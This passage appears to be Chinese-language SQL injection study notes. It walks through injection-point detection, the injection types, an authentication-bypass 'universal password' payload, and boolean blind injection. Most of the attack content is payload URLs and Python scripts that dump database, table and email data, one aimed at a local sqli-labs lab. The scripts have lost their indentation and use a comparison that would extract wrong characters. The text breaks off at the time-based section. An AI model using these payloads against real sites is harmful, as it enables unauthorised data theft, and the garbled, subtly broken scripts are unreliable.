sql 注入:
1.sql注入最重要的过程,单引号判断注入最常见。
分为三大类:get、post、cookie
简单判断get型:
http://host/test.php?id=100’ 返回错误说明有可能注入
http://host/test.php?id=100 and 1=1 返回正常
http://host/test.php?id=100 and 1=2返回错误
如果出现以上三种错误,基本盘判定为注入点
#盲注中只会回显错误或者正确,不会报错
2.判断注入类型
注入类型分为:数字型,字符型,搜索型,内联式,终止式。
数字型,传入参数为数字,回显错误正确来判断:
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
也就是说,后台sql语句查询判断传入参数为数字,不用闭合sql语句。
字符型,传入闭合字符,查询是否出错:
http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2返回失败
这里比上面多了 ‘ 所以判断回显正确错误,说明后台查询语句查询的是字符串,进行sql注入的时候就需要传入闭合来进行。
搜索型,借用like语句进行搜索,like中**%**为通配符,由于进行了通配符的匹配无法进行正常的测试,依然是构造闭合条件来进行匹配:
SELECT * FROM news WHERE keyword like '%$keyword%'
这里的$keyword是用户的输入
当我们输入以下语句的时候
pt%' and 1=1 and '%'='
最终我们得到的语句是这样的
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%'
这个语句又一次的闭合了
内联型,指的是进行查询的注入之后,原来的查询依然在进行,也就是说,虽然有错但是依然执行,需要注意的是,由于sql语句中使用了 AND 使得语句中错误一个返回的都为错误,常见的就是登陆页面,利用方法为构造 OR 1 = 1 来进行绕过,但是一定要注意逻辑先后顺序 SQL语句中AND运算优先级大于OR :
SELECT * FROM admin WHER username='$name' AND password ='$passwd'
这个时候我们想办法绕过AND,所以从password=’or 1 = 1,所谓的万能密码就是这种的绕过方式。
如果你从username输入,就会导致:
SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此时先进行 '1' = '1' AND password = ''的判断,结果为 0
然后进行 username = '' or 0 由于username 不可能为空,所以此时为 0 or 0 为 0 最终显示错误,所以万能密码叫做万能密码,不叫万能账号。
终止型,可以进行输入注释符来进行后面语句的注释:
上面的题型,如果我们想要进行注入的话,我们需要注释掉后面的 password 就能成功:
输入:' or ''='' --
后台查询语句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
只进行前两个语句,AND 后面不进行,导致返回为真
盲注:
盲注分为三个类型:
基于布尔的盲注
基于时间的盲注
基于报错的盲注
布尔类型盲注:
mysql 一些内置函数:
length()返回内容的字符串的长度
ascii() 返回字符的ascii码
substr(str,start,length) 截取字符串
三步走:
0x00:爆库
url and length(database())>0 #
// 最后的数字可以进行更换来确定库名的长度。
当确定了库名长度之后,利用python脚本来进行爆破。
import requests
def get_db_name():
result = ""
url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,9):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#根据返回长度的不同来判断字符正确与否
if length>706:
result += char
break
print(result)
0x01:爆表
url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是优先判断表的长度
当判读出表的长度的时候就可以使用python脚本继续跑
import requests
def get_table_name():
result = ""
url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 内容的值限制了表的次序,例如第二张表名就切换为 1,2)
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,7):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
0x02:脱库
脱库之前先判断 emails 表中的记录数
url+?id=2' and (select count(*) from emails)>0 %23 #count函数用于查询表内的记录数
确定了表中的记录数之后我们进行下一步的脱库
url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23
确定内容的长度。
py跑一下
def get_data():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
另外就是使用sqlmap。
基于时间的盲注: